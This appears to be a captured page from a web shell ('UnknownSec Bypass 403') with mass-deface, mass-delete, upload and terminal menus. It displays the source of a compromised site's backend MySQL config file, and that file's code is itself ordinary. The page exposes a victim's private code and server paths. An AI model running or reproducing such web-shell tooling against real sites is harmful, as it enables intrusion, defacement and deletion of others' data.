UnknownSec Bypass
403
:
/
var
/
www
/
stp-bhaktisagar-backend
/
src
/
config
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
mysql.js
const mysql = require("mysql"); const path = require("path"); const util = require("util"); const { execFile, exec } = require("child_process"); let connection; function connectMySql() { connection = mysql.createPool({ connectionLimit: 20, charset: "utf8mb4_unicode_ci", charset: "utf8mb4", host: process.env.DB_HOST, port: process.env.DB_PORT, user: process.env.DB_USER, password: process.env.DB_PASSWORD, database: process.env.DB_NAME, // queueLimit:1 }); connection.on("acquire", function (_connection) { // console.log("Connection %d acquired", _connection.threadId); }); connection.on("release", function (_connection) { // console.log("Connection %d released", _connection.threadId); }); connection.on("connection", function (_connection) { // console.log("Connection %d connection", _connection.threadId); // _connection.query("SET SESSION auto_increment_increment=1"); }); connection.on("enqueue", function () { console.log("Waiting for available connection slot"); }); // const query = util.promisify(connection.query).bind(connection); // query("SELECT 1 + 1 AS solution") // .then((r) => { // console.log(r); // }) // .catch((err) => { // console.log(err); // }); // pool.query('SELECT 1 + 1 AS solution', function (error, results, fields) { // if (error) throw error; // console.log('The solution is: ', results[0].solution); // }); return connection; } exports.connectMySql = connectMySql; exports.getMySqlConnection = () => { return connection; }; exports.getMySqlQuery = () => { const querys = util.promisify(connection.query).bind(connection); return querys; }; exports.runMySqlQuery = (...arg) => { let query = this.getMySqlQuery(); return query(...arg); }; exports.createMySqlFields = (body) => { let fields = Object.keys(body) .map((k) => `${k}=?`) .join(","); return fields; }; exports.sanetizeUserData = (data) => { delete data.password; // delete user.id; delete data.stripe_id; }; exports.getUserData = async (id) => { let query = this.getMySqlQuery(); let r = await query("SELECT * FROM users where id= ?", [id]); let user = r.length ? r[0] : null; if (user) { this.sanetizeUserData(user); } return user; }; exports.getUserDataByEmail = async (email) => { let query = this.getMySqlQuery(); let r = await query("SELECT * FROM users where email= ?", [email]); let user = r.length ? r[0] : null; if (user) { this.sanetizeUserData(user); } return user; }; exports.createMySQLDBDump = async () => { return new Promise((resolve, reject) => { let confPath = path.resolve("my.cnf"); let dirPath = path.resolve("bkp"); // console.log("[CreatemySQLDBDump] dirPath", dirPath); let binPath = "/Applications/MAMP/Library/bin/mysqldump"; binPath = "mysqldump"; // let cmd = `"${binPath}" -u ${process.env.DB_USER} -p${process.env.DB_PASSWORD} --all-databases | gzip > "${dirPath}/mysqldb_\`date +%F_%H-%M-%S\`.sql.gz"`; let cmd = `"${binPath}" --defaults-extra-file="${confPath}" --all-databases | gzip > "${dirPath}/mysqldb_\`date +%F_%H-%M-%S\`.sql.gz"`; console.log("[CreatemySQLDBDump] cmd", cmd); exec(cmd, (error, stdout) => { // console.log("[CreatemySQLDBDump] error", error); // console.log("[CreatemySQLDBDump]stdout", stdout); if (error) { reject(error); return; } resolve(stdout); }); }); };
Copyright © 2025 - UnknownSec